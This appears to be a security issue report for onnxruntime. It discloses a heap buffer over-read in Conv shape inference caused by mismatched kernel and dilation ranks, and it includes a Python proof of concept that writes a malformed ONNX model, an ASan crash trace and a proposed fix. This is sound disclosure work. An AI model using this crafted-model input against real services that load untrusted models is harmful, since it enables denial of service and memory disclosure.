microsoft / microsoft/onnxruntime
[Security] Heap buffer over-read in Conv shape inference via mismatched kernel/dilation dimensions (old.cc:188)
- Dominant language
- C++
- Stars
- 21.9k
- Forks
- 4.2k
- Avg merge
- 4d 11h
- Merged PRs (30d)
- 184
Description
## Summary
`convPoolShapeInference_opset19()` in `onnx/defs/nn/old.cc` reads `dilations[i]` out-of-bounds when `kernel_shape.size() > dilations.size()`. This happens when a Conv node's weight tensor has more spatial dimensions than the input tensor, causing the inferred `kernel_shape` to be longer than the `dilations` vector (which is sized to `n_input_dims`). The bug fires during `InferenceSession::Load()` — before `Initialize()` or any inference.
8 independent crash inputs confirmed; all fingerprint to `old.cc:188`.
## Root cause
```cpp
// onnx/defs/nn/old.cc
// dilations: sized to n_input_dims (from input tensor rank, e.g. 2 for 4D input)
std::vector dilations;
if (use_dilation && getRepeatedAttribute(ctx, "dilations", dilations)) {
if (dilations.size() != n_input_dims) {
fail_shape_inference("Attribute dilations has incorrect size");
}
} else {
dilations.assign(n_input_dims, 1); // always n_input_dims elements
}
// kernel_shape: extracted from weight tensor spatial dims — NOT validated against n_input_dims
std::vector kernel_shape;
auto second_input_shape = ctx.getInputType(input2Idx)->tensor_type().shape();
for (int i = 2; i < second_input_shape.dim_size(); ++i) {
kernel_shape.push_back(second_input_shape.dim(i).dim_value());
// kernel_shape.size() = weight.rank - 2, may exceed n_input_dims
}
// Loop bound: kernel_shape.size(); indexes dilations[] sized to n_input_dims
for (size_t i = 0; i < kernel_shape.size(); i++) {
effective_kernel_shape[i] = (effective_kernel_shape[i] - 1) * dilations[i] + 1; // line 188 — OOB when i >= dilations.size()
}
```
`dilations` size validation checks against `n_input_dims` but `kernel_shape` size (extracted from the weight tensor) is never validated against `n_input_dims`. When weight rank − 2 > n_input_dims, the loop reads past the end of `dilations`.
**The same pattern exists in the pooling inference path at `old.cc:658`.**
## Reproduction
```python
import onnx
from onnx import helper, TensorProto, numpy_helper
import numpy as np
# Input: [1, 1, 4, 4] — 4D → n_input_dims = 2
X = helper.make_tensor_value_info('X', TensorProto.FLOAT, [1, 1, 4, 4])
Y = helper.make_tensor_value_info('Y', TensorProto.FLOAT, None)
# Weight: [1, 1, 3, 3, 3] — 5D → kernel_shape extracted as [3, 3, 3] (size 3)
# dilations[] will be sized to n_input_dims = 2
# → dilations[2] reads 8 bytes OOB at loop iteration i=2
W = numpy_helper.from_array(
np.ones([1, 1, 3, 3, 3], dtype=np.float32), name='W')
# No explicit kernel_shape attribute → extracted from weight tensor
node = helper.make_node('Conv', ['X', 'W'], ['Y'])
graph = helper.make_graph([node], 'poc', [X], [Y], initializer=[W])
model = helper.make_model(graph, opset_imports=[helper.make_opsetid('', 11)])
model.ir_version = 7
open('poc-086.onnx', 'wb').write(model.SerializeToString())
```
```python
import onnxruntime as rt
sess = rt.InferenceSession('poc-086.onnx')
# ASan build: READ of size 8 at ... in convPoolShapeInference_opset19 old.cc:188
```
## Crash signal (ASan)
```
READ of size 8 at 0x... thread T0
AddressSanitizer: heap-buffer-overflow
#0 onnx::convPoolShapeInference_opset19(...) old.cc:188
#1 ConvOpSchemaGenerator_opset11(...)::'lambda' old.cc:1066
#5 onnxruntime::InferenceContextImpl::RunInferencing() graph.cc:2639
#6 onnxruntime::Graph::InferAndVerifyTypeMatch(...) graph.cc:3213
#7 onnxruntime::Graph::VerifyNodeAndOpMatch(...) graph.cc:3552
#8 onnxruntime::Graph::PerformTypeAndShapeInferencing() graph.cc:3655
#9 onnxruntime::Graph::Resolve(...) graph.cc:3705
#10 onnxruntime::Model::Load(...) model.cc:537
#11 onnxruntime::InferenceSession::Load(void const*, int)
...
#20 OrtApis::CreateSessionFromArray(...)
```
## Impact
- 8-byte heap over-read during `Load()` from any ONNX model with a malformed Conv node
- The OOB value is used as a kernel dimension, potentially corrupting downstream shape computation
- No authentication required; triggers before any inference
## Suggested fix
After extracting `kernel_shape` from the weight tensor, validate it matches `n_input_dims`:
```cpp
if (kernel_shape.size() != static_cast(n_input_dims)) {
fail_shape_inference(
"Weight tensor spatial rank does not match input tensor spatial rank");
}
```
Apply the same fix at `old.cc:658` (pooling path).
## Environment
- onnxruntime HEAD (`1ea2266`), ASan+fuzzer build
- Found by libFuzzer campaign targeting `InferenceSession::Load()` + `Initialize()`
Contributor guide
Assessment
This issue has not been assessed yet.